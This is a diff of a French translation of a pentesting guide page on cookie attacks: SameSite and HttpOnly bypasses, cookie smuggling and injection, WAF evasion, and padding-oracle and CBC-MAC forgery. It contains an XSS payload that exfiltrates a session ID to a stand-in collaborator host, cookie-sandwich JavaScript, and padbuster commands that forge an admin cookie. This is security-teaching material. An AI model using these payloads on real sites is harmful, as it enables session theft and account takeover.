- **Strict** : Restreint l'envoi du cookie lors de requêtes tierces.
|
||||
- **Lax** : Permet l'envoi du cookie avec des requêtes GET initiées par des sites web tiers.
|
||||
- L'attribut `SameSite` dicte si les cookies sont envoyés sur des requêtes provenant de domaines tiers. Il propose trois réglages :
|
||||
- **Strict** : Empêche l'envoi du cookie sur les requêtes tierces.
|
||||
- **Lax** : Autorise l'envoi du cookie avec les requêtes GET initiées par des sites tiers.
|
||||
- **None** : Permet l'envoi du cookie depuis n'importe quel domaine tiers.
|
||||
|
||||
N'oubliez pas, lors de la configuration des cookies, que comprendre ces attributs peut aider à garantir qu'ils se comportent comme prévu dans différents scénarios.
|
||||
Rappel : lors de la configuration des cookies, comprendre ces attributs aide à garantir qu'ils se comportent comme attendu selon les différents scénarios.
|
||||
|
||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
@ -45,55 +45,63 @@ N'oubliez pas, lors de la configuration des cookies, que comprendre ces attribut
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||
Un cookie avec l'attribut _**SameSite**_ **atténuera les attaques CSRF** où une session connectée est nécessaire.
|
||||
Un cookie avec l'attribut _**SameSite**_ permettra de **mitiger les attaques CSRF** nécessitant une session authentifiée.
|
||||
|
||||
**\*Notez qu'à partir de Chrome80 (février 2019), le comportement par défaut d'un cookie sans attribut SameSite** **sera lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Notez que temporairement, après avoir appliqué ce changement, les **cookies sans politique SameSite** dans Chrome seront **traités comme None** pendant les **premières 2 minutes puis comme Lax pour les requêtes POST inter-domaines de niveau supérieur.**
|
||||
**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Remarquer que temporairement, après l'application de ce changement, les **cookies sans SameSite** **policy** dans Chrome seront **treated as None** pendant les **2 premières minutes**, puis comme Lax pour les requêtes POST cross-site de niveau top.
|
||||
|
||||
## Cookies Flags
|
||||
## Flags des cookies
|
||||
|
||||
### HttpOnly
|
||||
|
||||
Cela empêche le **client** d'accéder au cookie (via **Javascript**, par exemple : `document.cookie`)
|
||||
Cela empêche le **client** d'accéder au cookie (Via **Javascript** par exemple : `document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
|
||||
- Si la page **envoie les cookies en réponse** à des requêtes (par exemple dans une page **PHPinfo**), il est possible d'abuser de l'XSS pour envoyer une requête à cette page et **voler les cookies** de la réponse (voir un exemple dans [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Cela pourrait être contourné avec des requêtes **TRACE** **HTTP** car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée **Cross-Site Tracking**.
|
||||
- Cette technique est évitée par **les navigateurs modernes en ne permettant pas l'envoi d'une requête TRACE** depuis JS. Cependant, certains contournements ont été trouvés dans des logiciels spécifiques comme l'envoi de `\r\nTRACE` au lieu de `TRACE` à IE6.0 SP2.
|
||||
- Une autre méthode est l'exploitation de vulnérabilités zero-day des navigateurs.
|
||||
- Il est possible de **surcharger les cookies HttpOnly** en effectuant une attaque de débordement de Cookie Jar :
|
||||
- Si la page **envoie les cookies comme réponse** d'une requête (par exemple dans une page **PHPinfo**), il est possible d'abuser d'un XSS pour envoyer une requête à cette page et **voler les cookies** depuis la réponse (voir un exemple sur [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Cela peut être contourné avec des requêtes **TRACE HTTP**, car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée **Cross-Site Tracking**.
|
||||
- Cette technique est évitée par les navigateurs modernes en n'autorisant pas l'envoi d'une requête TRACE depuis JS. Cependant, quelques contournements ont été trouvés dans des logiciels spécifiques, comme l'envoi de `\r\nTRACE` au lieu de `TRACE` pour IE6.0 SP2.
|
||||
- Une autre voie est l'exploitation de vulnérabilités zero/day des navigateurs.
|
||||
- Il est possible de **surcharger/overwrite des cookies HttpOnly** en réalisant une attaque de Cookie Jar overflow :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
- Il est possible d'utiliser l'attaque [**Cookie Smuggling**](#cookie-smuggling) pour exfiltrer ces cookies.
|
||||
|
||||
- Il est possible d'utiliser une attaque de [**Cookie Smuggling**](#cookie-smuggling) pour exfiltrer ces cookies
|
||||
- Si un endpoint côté serveur reflète l'ID de session brut dans la réponse HTTP (par ex., à l'intérieur de commentaires HTML ou d'un bloc de debug), il est possible de bypasser HttpOnly en utilisant un XSS gadget pour récupérer cet endpoint, appliquer une regex sur le secret, et l'exfiltrer. Exemple de pattern de payload XSS :
|
||||
```js
|
||||
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
|
||||
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
|
||||
fetch('/index.php?module=Touch&action=ws')
|
||||
.then(r => r.text())
|
||||
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
|
||||
```
|
||||
### Secure
|
||||
|
||||
La requête **n'enverra** le cookie dans une requête HTTP que si la requête est transmise sur un canal sécurisé (typiquement **HTTPS**).
|
||||
La requête HTTP n'enverra **que** le cookie si elle est transmise via un canal sécurisé (généralement **HTTPS**).
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
Les cookies préfixés par `__Secure-` doivent être définis avec le drapeau `secure` des pages sécurisées par HTTPS.
|
||||
Les cookies préfixés par `__Secure-` doivent être définis avec le flag `secure` depuis des pages sécurisées par HTTPS.
|
||||
|
||||
Pour les cookies préfixés par `__Host-`, plusieurs conditions doivent être remplies :
|
||||
Pour les cookies préfixés par `__Host-`, plusieurs conditions doivent être respectées :
|
||||
|
||||
- Ils doivent être définis avec le drapeau `secure`.
|
||||
- Ils doivent être définis avec le flag `secure`.
|
||||
- Ils doivent provenir d'une page sécurisée par HTTPS.
|
||||
- Ils sont interdits de spécifier un domaine, empêchant leur transmission aux sous-domaines.
|
||||
- Le chemin pour ces cookies doit être défini sur `/`.
|
||||
- Il est interdit de spécifier un domain, ce qui empêche leur transmission aux sous-domaines.
|
||||
- Le path de ces cookies doit être défini sur `/`.
|
||||
|
||||
Il est important de noter que les cookies préfixés par `__Host-` ne sont pas autorisés à être envoyés à des superdomaines ou sous-domaines. Cette restriction aide à isoler les cookies d'application. Ainsi, utiliser le préfixe `__Host-` pour tous les cookies d'application peut être considéré comme une bonne pratique pour améliorer la sécurité et l'isolation.
|
||||
Il est important de noter que les cookies préfixés par `__Host-` ne peuvent pas être envoyés vers des superdomains ou des sous-domaines. Cette restriction aide à isoler les cookies d'application. Ainsi, employer le préfixe `__Host-` pour tous les cookies d'application peut être considéré comme une bonne pratique pour améliorer la sécurité et l'isolation.
|
||||
|
||||
### Overwriting cookies
|
||||
|
||||
Ainsi, l'une des protections des cookies préfixés par `__Host-` est d'empêcher leur écrasement depuis des sous-domaines. Prévenir par exemple les [**attaques de Cookie Tossing**](cookie-tossing.md). Dans la présentation [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**papier**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)), il est présenté qu'il était possible de définir des cookies préfixés par \_\_HOST- depuis un sous-domaine, en trompant le parseur, par exemple, en ajoutant "=" au début ou au début et à la fin... :
|
||||
Ainsi, une des protections des cookies préfixés par `__Host-` est d'empêcher qu'ils soient écrasés depuis des sous-domaines. Cela empêche par exemple les [**Cookie Tossing attacks**](cookie-tossing.md). Dans la conférence [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) il est expliqué qu'il était possible de définir des cookies préfixés \_\_HOST- depuis un sous-domaine, en trompant le parser, par exemple en ajoutant "=" au début ou au début et à la fin...:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ou en PHP, il était possible d'ajouter **d'autres caractères au début** du nom du cookie qui allaient être **remplacés par des caractères de soulignement**, permettant d'écraser les cookies `__HOST-` :
|
||||
Ou en PHP il était possible d'ajouter **d'autres caractères au début** du nom du cookie qui allaient être **remplacés par des underscores**, permettant d'écraser les cookies `__HOST-` :
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
@ -103,17 +111,18 @@ Si un cookie personnalisé contient des données sensibles, vérifiez-le (surtou
|
||||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
Les données sensibles intégrées dans les cookies doivent toujours être examinées. Les cookies encodés en Base64 ou dans des formats similaires peuvent souvent être décodés. Cette vulnérabilité permet aux attaquants de modifier le contenu du cookie et d'usurper l'identité d'autres utilisateurs en réencodant leurs données modifiées dans le cookie.
|
||||
Les données sensibles intégrées dans les cookies doivent toujours être examinées. Les cookies encodés en Base64 ou dans des formats similaires peuvent souvent être décodés. Cette faiblesse permet à un attaquant d'altérer le contenu du cookie et d'usurper d'autres utilisateurs en ré-encodant leurs données modifiées dans le cookie.
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
Cette attaque consiste à voler le cookie d'un utilisateur pour obtenir un accès non autorisé à son compte dans une application. En utilisant le cookie volé, un attaquant peut usurper l'identité de l'utilisateur légitime.
|
||||
Cette attaque consiste à voler le cookie d'un utilisateur pour obtenir un accès non autorisé à son compte dans une application. En utilisant le cookie volé, un attaquant peut se faire passer pour l'utilisateur légitime.
|
||||
|
||||
### Session Fixation
|
||||
|
||||
Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application n'attribue pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie original, peut usurper l'identité de la victime. Cette technique repose sur le fait que la victime se connecte avec un cookie fourni par l'attaquant.
|
||||
Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application n'assigne pas un nouveau cookie après la connexion, l'attaquant, possédant le cookie initial, peut usurper la victime. Cette technique repose sur le fait que la victime se connecte avec un cookie fourni par l'attaquant.
|
||||
|
||||
Si vous avez trouvé un **XSS in a subdomain** ou que vous **control a subdomain**, lisez :
|
||||
|
||||
Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un sous-domaine**, lisez :
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
@ -121,9 +130,10 @@ cookie-tossing.md
|
||||
|
||||
### Session Donation
|
||||
|
||||
Ici, l'attaquant convainc la victime d'utiliser le cookie de session de l'attaquant. La victime, croyant qu'elle est connectée à son propre compte, effectuera involontairement des actions dans le contexte du compte de l'attaquant.
|
||||
Ici, l'attaquant convainc la victime d'utiliser le cookie de session de l'attaquant. La victime, croyant être connectée à son propre compte, effectuera involontairement des actions dans le contexte du compte de l'attaquant.
|
||||
|
||||
Si vous avez trouvé un **XSS in a subdomain** ou que vous **control a subdomain**, lisez :
|
||||
|
||||
Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un sous-domaine**, lisez :
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
@ -131,23 +141,23 @@ cookie-tossing.md
|
||||
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
Cliquez sur le lien précédent pour accéder à une page expliquant les défauts possibles dans JWT.
|
||||
Cliquez sur le lien précédent pour accéder à une page expliquant les failles possibles de JWT.
|
||||
|
||||
Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent également présenter des vulnérabilités. Pour des informations approfondies sur les défauts potentiels et comment les exploiter, il est recommandé d'accéder au document lié sur le hacking JWT.
|
||||
Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent aussi présenter des vulnérabilités. Pour des informations détaillées sur les failles potentielles et comment les exploiter, il est recommandé de consulter le document lié sur le hacking JWT.
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
Cette attaque force un utilisateur connecté à exécuter des actions non désirées sur une application web dans laquelle il est actuellement authentifié. Les attaquants peuvent exploiter les cookies qui sont automatiquement envoyés avec chaque requête vers le site vulnérable.
|
||||
Cette attaque force un utilisateur connecté à exécuter des actions non désirées sur une application web pour laquelle il est actuellement authentifié. Les attaquants peuvent exploiter les cookies qui sont automatiquement envoyés avec chaque requête vers le site vulnérable.
|
||||
|
||||
### Empty Cookies
|
||||
|
||||
(Voir plus de détails dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/)) Les navigateurs permettent la création de cookies sans nom, ce qui peut être démontré par JavaScript comme suit :
|
||||
(Voir plus de détails dans la [original research](https://blog.ankursundara.com/cookie-bugs/)) Les navigateurs permettent la création de cookies sans nom, ce qui peut être démontré via JavaScript comme suit:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
Le résultat dans l'en-tête de cookie envoyé est `a=v1; test value; b=v2;`. Intriguement, cela permet la manipulation des cookies si un cookie avec un nom vide est défini, contrôlant potentiellement d'autres cookies en définissant le cookie vide à une valeur spécifique :
|
||||
Le résultat dans le cookie header envoyé est `a=v1; test value; b=v2;`. De façon intrigante, cela permet la manipulation des cookies si un cookie sans nom est défini, contrôlant potentiellement d'autres cookies en définissant le cookie vide sur une valeur spécifique :
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`
|
||||
@ -155,75 +165,76 @@ document.cookie = `${name}=${value}`
|
||||
|
||||
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
Cela conduit le navigateur à envoyer un en-tête de cookie interprété par chaque serveur web comme un cookie nommé `a` avec une valeur `b`.
|
||||
Cela entraîne l'envoi par le navigateur d'un en-tête cookie interprété par chaque serveur web comme un cookie nommé `a` avec une valeur `b`.
|
||||
|
||||
#### Bug Chrome : Problème de point de code de substitution Unicode
|
||||
#### Chrome Bug : Unicode Surrogate Codepoint Issue
|
||||
|
||||
Dans Chrome, si un point de code de substitution Unicode fait partie d'un cookie défini, `document.cookie` devient corrompu, renvoyant une chaîne vide par la suite :
|
||||
Dans Chrome, si un Unicode surrogate codepoint fait partie d'un set cookie, `document.cookie` devient corrompu, renvoyant ensuite une chaîne vide :
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
Cela entraîne `document.cookie` renvoyant une chaîne vide, indiquant une corruption permanente.
|
||||
|
||||
#### Cookie Smuggling en raison de problèmes de parsing
|
||||
#### Cookie Smuggling Due to Parsing Issues
|
||||
|
||||
(Voir plus de détails dans la[recherche originale](https://blog.ankursundara.com/cookie-bugs/)) Plusieurs serveurs web, y compris ceux de Java (Jetty, TomCat, Undertow) et Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gèrent mal les chaînes de cookies en raison d'un support obsolète de RFC2965. Ils lisent une valeur de cookie entre guillemets comme une seule valeur même si elle inclut des points-virgules, qui devraient normalement séparer les paires clé-valeur :
|
||||
(Voir plus de détails dans la[original research](https://blog.ankursundara.com/cookie-bugs/)) Plusieurs serveurs web, y compris ceux écrits en Java (Jetty, TomCat, Undertow) et en Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gèrent mal les cookie strings à cause d'un support obsolète de RFC2965. Ils lisent une valeur de cookie entre guillemets doubles comme une seule valeur même si elle contient des points-virgules, qui devraient normalement séparer les paires clé-valeur :
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Vulnérabilités d'injection de cookies
|
||||
|
||||
(Voir plus de détails dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/)) Le parsing incorrect des cookies par les serveurs, notamment Undertow, Zope, et ceux utilisant `http.cookie.SimpleCookie` et `http.cookie.BaseCookie` de Python, crée des opportunités pour des attaques par injection de cookies. Ces serveurs échouent à délimiter correctement le début de nouveaux cookies, permettant aux attaquants de falsifier des cookies :
|
||||
(Consultez plus de détails dans la[original research](https://blog.ankursundara.com/cookie-bugs/)) Le parsing incorrect des cookies par certains serveurs, notamment Undertow, Zope, et ceux utilisant les classes Python `http.cookie.SimpleCookie` et `http.cookie.BaseCookie`, crée des opportunités d'attaques d'injection de cookies. Ces serveurs ne délimitent pas correctement le début de nouveaux cookies, permettant aux attaquants d'usurper des cookies :
|
||||
|
||||
- Undertow s'attend à un nouveau cookie immédiatement après une valeur entre guillemets sans point-virgule.
|
||||
- Undertow attend un nouveau cookie immédiatement après une valeur entre guillemets sans point-virgule.
|
||||
- Zope recherche une virgule pour commencer à parser le cookie suivant.
|
||||
- Les classes de cookies de Python commencent à parser sur un caractère d'espace.
|
||||
- Les classes cookie de Python commencent le parsing sur un caractère espace.
|
||||
|
||||
Cette vulnérabilité est particulièrement dangereuse dans les applications web s'appuyant sur une protection CSRF basée sur des cookies, car elle permet aux attaquants d'injecter des cookies de token CSRF falsifiés, contournant potentiellement les mesures de sécurité. Le problème est aggravé par la gestion des noms de cookies en double par Python, où la dernière occurrence remplace les précédentes. Cela soulève également des préoccupations pour les cookies `__Secure-` et `__Host-` dans des contextes non sécurisés et pourrait entraîner des contournements d'autorisation lorsque des cookies sont transmis à des serveurs back-end susceptibles d'être falsifiés.
|
||||
Cette vulnérabilité est particulièrement dangereuse dans les applications web qui reposent sur une protection CSRF basée sur les cookies, car elle permet à un attaquant d'injecter des cookies CSRF-token usurpés, contournant potentiellement les mesures de sécurité. Le problème est aggravé par la gestion des noms de cookies dupliqués en Python, où la dernière occurrence prend le dessus sur les précédentes. Cela soulève aussi des inquiétudes pour les cookies `__Secure-` et `__Host-` dans des contextes non sécurisés et pourrait conduire à des contournements d'autorisation lorsque les cookies sont transmis à des serveurs back-end vulnérables à l'usurpation.
|
||||
|
||||
### Cookies $version
|
||||
|
||||
#### Contournement de WAF
|
||||
|
||||
Selon [**cet article de blog**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), il pourrait être possible d'utiliser l'attribut de cookie **`$Version=1`** pour amener le back-end à utiliser une ancienne logique pour parser le cookie en raison de **RFC2109**. De plus, d'autres valeurs comme **`$Domain`** et **`$Path`** peuvent être utilisées pour modifier le comportement du back-end avec le cookie.
|
||||
Selon [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), il peut être possible d'utiliser l'attribut de cookie **`$Version=1`** pour amener le backend à utiliser une logique ancienne de parsing du cookie en raison de la **RFC2109**. De plus, d'autres valeurs comme **`$Domain`** et **`$Path`** peuvent être utilisées pour modifier le comportement du backend vis-à-vis du cookie.
|
||||
|
||||
#### Attaque de sandwich de cookies
|
||||
#### Cookie Sandwich Attack
|
||||
|
||||
Selon [**cet article de blog**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique), il est possible d'utiliser la technique du sandwich de cookies pour voler des cookies HttpOnly. Voici les exigences et étapes :
|
||||
Selon [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) il est possible d'utiliser la technique cookie sandwich pour voler des HttpOnly cookies. Voici les prérequis et les étapes :
|
||||
|
||||
- Trouver un endroit où un **cookie apparemment inutile est reflété dans la réponse**
|
||||
- **Créer un cookie appelé `$Version`** avec la valeur `1` (vous pouvez faire cela dans une attaque XSS depuis JS) avec un chemin plus spécifique afin qu'il obtienne la position initiale (certains frameworks comme Python n'ont pas besoin de cette étape)
|
||||
- **Créer le cookie qui est reflété** avec une valeur qui laisse des **guillemets doubles ouverts** et avec un chemin spécifique afin qu'il soit positionné dans la base de données des cookies après le précédent (`$Version`)
|
||||
- Ensuite, le cookie légitime viendra ensuite dans l'ordre
|
||||
- **Créer un cookie factice qui ferme les guillemets doubles** à l'intérieur de sa valeur
|
||||
- Trouver un endroit où un cookie apparemment inutile est reflété dans la réponse
|
||||
- **Créer un cookie nommé `$Version`** avec la valeur `1` (vous pouvez le faire via une XSS depuis JS) avec un path plus spécifique afin qu'il obtienne la position initiale (certains frameworks comme python n'ont pas besoin de cette étape)
|
||||
- **Créer le cookie qui est reflété** avec une valeur qui laisse un **guillemet double non fermé** et avec un path spécifique pour qu'il soit positionné dans la cookie DB après le précédent (`$Version`)
|
||||
- Ensuite, le cookie légitime se placera juste après dans l'ordre
|
||||
- **Créer un cookie factice qui ferme le guillemet double** à l'intérieur de sa valeur
|
||||
|
||||
De cette manière, le cookie de la victime est piégé à l'intérieur du nouveau cookie version 1 et sera reflété chaque fois qu'il est reflété.
|
||||
De cette façon, le cookie victime se retrouve piégé à l'intérieur du nouveau cookie version 1 et sera reflété chaque fois qu'il est renvoyé.
|
||||
e.g. from the post:
|
||||
```javascript
|
||||
document.cookie = `$Version=1;`;
|
||||
document.cookie = `param1="start`;
|
||||
// any cookies inside the sandwich will be placed into param1 value server-side
|
||||
document.cookie = `param2=end";`;
|
||||
```
|
||||
### Bypasses WAF
|
||||
### Contournements WAF
|
||||
|
||||
#### Cookies $version
|
||||
|
||||
Consultez la section précédente.
|
||||
Voir la section précédente.
|
||||
|
||||
#### Analyse de contournement de valeur avec encodage de chaîne entre guillemets
|
||||
#### Bypassing value analysis with quoted-string encoding
|
||||
|
||||
Cette analyse indique de déséchapper les valeurs échappées à l'intérieur des cookies, donc "\a" devient "a". Cela peut être utile pour contourner les WAFS car :
|
||||
Cette analyse provoque le déséchapement des valeurs échappées dans les cookies, donc "\a" devient "a". Cela peut être utile pour contourner les WAFS comme :
|
||||
|
||||
- `eval('test') => interdit`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => autorisé`
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
|
||||
#### Contournement des listes de blocage de noms de cookies
|
||||
#### Bypassing cookie-name blocklists
|
||||
|
||||
Dans le RFC2109, il est indiqué qu'une **virgule peut être utilisée comme séparateur entre les valeurs de cookie**. Et il est également possible d'ajouter **des espaces et des tabulations avant et après le signe égal**. Par conséquent, un cookie comme `$Version=1; foo=bar, abc = qux` ne génère pas le cookie `"foo":"bar, admin = qux"` mais les cookies `foo":"bar"` et `"admin":"qux"`. Remarquez comment 2 cookies sont générés et comment l'espace avant et après le signe égal a été supprimé pour admin.
|
||||
Dans la RFC2109, il est indiqué qu'une **virgule peut être utilisée comme séparateur entre les valeurs de cookie**. Il est également possible d'ajouter des **espaces et des tabulations avant et après le signe égal**. Par conséquent, un cookie comme `$Version=1; foo=bar, abc = qux` ne génère pas le cookie `"foo":"bar, admin = qux"` mais les cookies `foo":"bar"` et `"admin":"qux"`. Remarquez comment 2 cookies sont générés et comment admin a perdu les espaces avant et après le signe égal.
|
||||
|
||||
#### Analyse de contournement de valeur avec séparation de cookies
|
||||
#### Bypassing value analysis with cookie splitting
|
||||
|
||||
Enfin, différents backdoors pourraient se rejoindre dans une chaîne de différents cookies passés dans différents en-têtes de cookies comme dans :
|
||||
Enfin différents backdoors joindraient dans une chaîne différents cookies passés dans différents cookie headers comme dans:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -237,27 +248,27 @@ Cookie: comment')
|
||||
|
||||
Resulting cookie: name=eval('test//, comment') => allowed
|
||||
```
|
||||
### Vérifications des cookies extra vulnérables
|
||||
### Vérifications supplémentaires des cookies vulnérables
|
||||
|
||||
#### **Vérifications de base**
|
||||
|
||||
- Le **cookie** est le **même** chaque fois que vous **vous connectez**.
|
||||
- Le **cookie** est le **même** à chaque **login**.
|
||||
- Déconnectez-vous et essayez d'utiliser le même cookie.
|
||||
- Essayez de vous connecter avec 2 appareils (ou navigateurs) au même compte en utilisant le même cookie.
|
||||
- Essayez de **login** avec 2 appareils (ou navigateurs) sur le même compte en utilisant le même cookie.
|
||||
- Vérifiez si le cookie contient des informations et essayez de le modifier.
|
||||
- Essayez de créer plusieurs comptes avec presque le même nom d'utilisateur et vérifiez si vous pouvez voir des similitudes.
|
||||
- Vérifiez l'option "**se souvenir de moi**" si elle existe pour voir comment elle fonctionne. Si elle existe et pourrait être vulnérable, utilisez toujours le cookie de **se souvenir de moi** sans aucun autre cookie.
|
||||
- Vérifiez si le cookie précédent fonctionne même après avoir changé le mot de passe.
|
||||
- Essayez de créer plusieurs comptes avec des **username** presque identiques et vérifiez si vous voyez des similitudes.
|
||||
- Vérifiez l'option "**remember me**" si elle existe pour voir comment elle fonctionne. Si elle existe et peut être vulnérable, utilisez toujours le cookie de **remember me** sans aucun autre cookie.
|
||||
- Vérifiez si le cookie précédent fonctionne même après que vous ayez changé le mot de passe.
|
||||
|
||||
#### **Attaques avancées sur les cookies**
|
||||
|
||||
Si le cookie reste le même (ou presque) lorsque vous vous connectez, cela signifie probablement que le cookie est lié à un champ de votre compte (probablement le nom d'utilisateur). Ensuite, vous pouvez :
|
||||
Si le cookie reste le même (ou presque) lorsque vous vous **login**, cela signifie probablement que le cookie est lié à un champ de votre compte (probablement le **username**). Dans ce cas, vous pouvez :
|
||||
|
||||
- Essayer de créer beaucoup de **comptes** avec des noms d'utilisateur très **similaires** et essayer de **deviner** comment l'algorithme fonctionne.
|
||||
- Essayer de **bruteforcer le nom d'utilisateur**. Si le cookie est enregistré uniquement comme méthode d'authentification pour votre nom d'utilisateur, alors vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **bruteforcer** chaque **bit** de votre cookie car l'un des cookies que vous allez essayer sera celui appartenant à "**admin**".
|
||||
- Essayer **Padding** **Oracle** (vous pouvez déchiffrer le contenu du cookie). Utilisez **padbuster**.
|
||||
- Essayez de créer de nombreux comptes avec des **username** très **similaires** et tentez de **deviner** comment l'algorithme fonctionne.
|
||||
- Essayez de **bruteforce the username**. Si le **cookie** sert uniquement comme méthode d'authentification pour votre **username**, alors vous pouvez créer un compte avec le **username** "**Bmin**" et **bruteforce** chaque **bit** de votre **cookie** parce que l'un des cookies que vous essaierez sera celui appartenant à "**admin**".
|
||||
- Essayez **Padding** **Oracle** (vous pouvez décrypter le contenu du cookie). Utilisez **padbuster**.
|
||||
|
||||
**Padding Oracle - Exemples de Padbuster**
|
||||
**Padding Oracle - Padbuster examples**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
@ -267,43 +278,46 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
||||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster fera plusieurs tentatives et vous demandera quelle condition est la condition d'erreur (celle qui n'est pas valide).
|
||||
Padbuster effectuera plusieurs tentatives et vous demandera quelle condition correspond à la condition d'erreur (celle qui n'est pas valide).
|
||||
|
||||
Ensuite, il commencera à déchiffrer le cookie (cela peut prendre plusieurs minutes).
|
||||
Ensuite, il commencera le processus de decrypting the cookie (cela peut prendre plusieurs minutes)
|
||||
|
||||
Si l'attaque a été réalisée avec succès, vous pourriez essayer de chiffrer une chaîne de votre choix. Par exemple, si vous souhaitez **encrypt** **user=administrator**.
|
||||
Si l'attaque a été exécutée avec succès, vous pourrez alors essayer d'encrypt une chaîne de votre choix. Par exemple, si vous souhaitez **encrypt** **user=administrator**
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
Cette exécution vous donnera le cookie correctement chiffré et encodé avec la chaîne **user=administrator** à l'intérieur.
|
||||
This execution will give you the cookie correctly encrypted and encoded with the string **user=administrator** inside.
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
Peut-être qu'un cookie pourrait avoir une certaine valeur et pourrait être signé en utilisant CBC. Ensuite, l'intégrité de la valeur est la signature créée en utilisant CBC avec la même valeur. Comme il est recommandé d'utiliser comme IV un vecteur nul, ce type de vérification d'intégrité pourrait être vulnérable.
|
||||
Maybe a cookie could have some value and could be signed using CBC. Then, the integrity of the value is the signature created by using CBC with the same value. As it is recommended to use as IV a null vector, this type of integrity checking could be vulnerable.
|
||||
|
||||
**L'attaque**
|
||||
|
||||
1. Obtenez la signature du nom d'utilisateur **administ** = **t**
|
||||
2. Obtenez la signature du nom d'utilisateur **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Mettez dans le cookie la valeur **administrator+t'** (**t'** sera une signature valide de **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
